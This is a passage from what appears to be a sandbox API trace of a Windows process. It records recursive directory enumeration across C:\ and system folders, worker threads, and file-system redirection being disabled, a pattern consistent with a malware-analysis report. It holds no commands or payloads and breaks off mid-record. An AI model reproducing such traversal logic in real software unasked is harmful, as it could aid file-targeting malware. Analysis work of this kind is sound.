returned 0 [0112.106] FindClose (in: hFindFile=0xc19c78 | out: hFindFile=0xc19c78) returned 1 [0112.107] GetProcessHeap () returned 0xc00000 [0112.107] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37b48b8 | out: hHeap=0xc00000) returned 1 [0112.107] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f2f0 | out: lpFindFileData=0x2b1f2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x1ff, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0112.107] ResetEvent (hEvent=0x2cc) returned 1 [0112.107] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0112.111] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f2f0 | out: lpFindFileData=0x2b1f2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName="en-US", cAlternateFileName="")) returned 1 [0112.112] GetProcessHeap () returned 0xc00000 [0112.112] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37b48b8 [0112.112] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19c78 [0112.112] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.112] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd86035, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0112.112] ResetEvent (hEvent=0x2cc) returned 1 [0112.112] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0112.124] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd86035, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0112.124] FindClose (in: hFindFile=0xc19c78 | out: hFindFile=0xc19c78) returned 1 [0112.124] GetProcessHeap () returned 0xc00000 [0112.124] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37b48b8 | out: hHeap=0xc00000) returned 1 [0112.124] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f2f0 | out: lpFindFileData=0x2b1f2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName="msadc", cAlternateFileName="")) returned 1 [0112.124] GetProcessHeap () returned 0xc00000 [0112.124] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37b48b8 [0112.124] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19c78 [0112.125] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.125] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0112.125] ResetEvent (hEvent=0x2cc) returned 1 [0112.125] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0112.291] ResetEvent (hEvent=0x2cc) returned 1 [0112.291] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0114.597] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dce0ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41dce0ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41dce0ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0114.598] ResetEvent (hEvent=0x2cc) returned 1 [0114.598] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0114.627] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0114.627] GetProcessHeap () returned 0xc00000 [0114.627] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3ce0048 [0114.628] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8398 [0114.629] FindNextFileW (in: hFindFile=0x37e8398, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.629] FindNextFileW (in: hFindFile=0x37e8398, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b99489e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0114.629] ResetEvent (hEvent=0x2cc) returned 1 [0114.629] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0114.648] FindNextFileW (in: hFindFile=0x37e8398, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb2c9ec00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0114.648] ResetEvent (hEvent=0x2cc) returned 1 [0114.648] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0114.652] ResetEvent (hEvent=0x2cc) returned 1 [0114.652] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0114.905] FindNextFileW (in: hFindFile=0x37e8398, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0114.906] ResetEvent (hEvent=0x2cc) returned 1 [0114.906] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) returned 0x0 [0114.926] ResetEvent (hEvent=0x2cc) returned 1 [0114.926] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0xffffffff) Thread: id = 21 os_tid = 0xf0 [0087.895] GetProcessHeap () returned 0xc00000 [0087.895] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x38) returned 0xc19af8 [0087.897] GetProcessHeap () returned 0xc00000 [0087.897] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x18) returned 0xc18cc8 [0087.897] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2ec [0087.897] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2e8 [0087.901] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2f0 [0087.901] GetProcessHeap () returned 0xc00000 [0087.901] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc7e898 [0087.901] GetProcessHeap () returned 0xc00000 [0087.901] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc8e8a0 [0087.902] GetProcessHeap () returned 0xc00000 [0087.902] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x50) returned 0xc25148 [0087.902] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x772d0000 [0087.902] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0087.904] Wow64DisableWow64FsRedirection (in: OldValue=0x2fdfa9c | out: OldValue=0x2fdfa9c*=0x0) returned 1 [0087.904] GetProcessHeap () returned 0xc00000 [0087.904] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc25148 | out: hHeap=0xc00000) returned 1 [0087.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1e54bf, lpParameter=0x2fdfaa4, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8 [0087.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1e54bf, lpParameter=0x2fdfaa4, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2fc [0087.905] GetProcessHeap () returned 0xc00000 [0087.905] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc9e8a8 [0087.906] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x2fdf818 | out: lpFindFileData=0x2fdf818*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e572a, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0xc19ab8 [0087.906] GetProcessHeap () returned 0xc00000 [0087.906] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xcae8b0 [0087.906] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0087.906] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0087.907] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Logs", cAlternateFileName="")) returned 1 [0087.907] GetProcessHeap () returned 0xc00000 [0087.907] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xcbf8c0 [0087.907] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0087.935] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.935] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0087.935] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0087.935] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1 [0087.935] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0 [0087.935] FindClose (in: hFindFile=0xc19b38 | out: hFindFile=0xc19b38) returned 1 [0087.936] GetProcessHeap () returned 0xc00000 [0087.936] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xcbf8c0 | out: hHeap=0xc00000) returned 1 [0087.936] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0087.937] GetProcessHeap () returned 0xc00000 [0087.937] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xcbf8c0 [0087.937] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19cb8 [0087.938] FindNextFileW (in: hFindFile=0xc19cb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.938] FindNextFileW (in: hFindFile=0xc19cb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0087.938] FindNextFileW (in: hFindFile=0xc19cb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1 [0087.938] FindNextFileW (in: hFindFile=0xc19cb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1 [0087.938] FindNextFileW (in: hFindFile=0xc19cb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1 [0087.938] FindNextFileW (in: hFindFile=0xc19cb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1 [0087.938] FindNextFileW (in: hFindFile=0xc19cb8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0 [0087.938] FindClose (in: hFindFile=0xc19cb8 | out: hFindFile=0xc19cb8) returned 1 [0087.939] GetProcessHeap () returned 0xc00000 [0087.939] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xcbf8c0 | out: hHeap=0xc00000) returned 1 [0087.940] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, 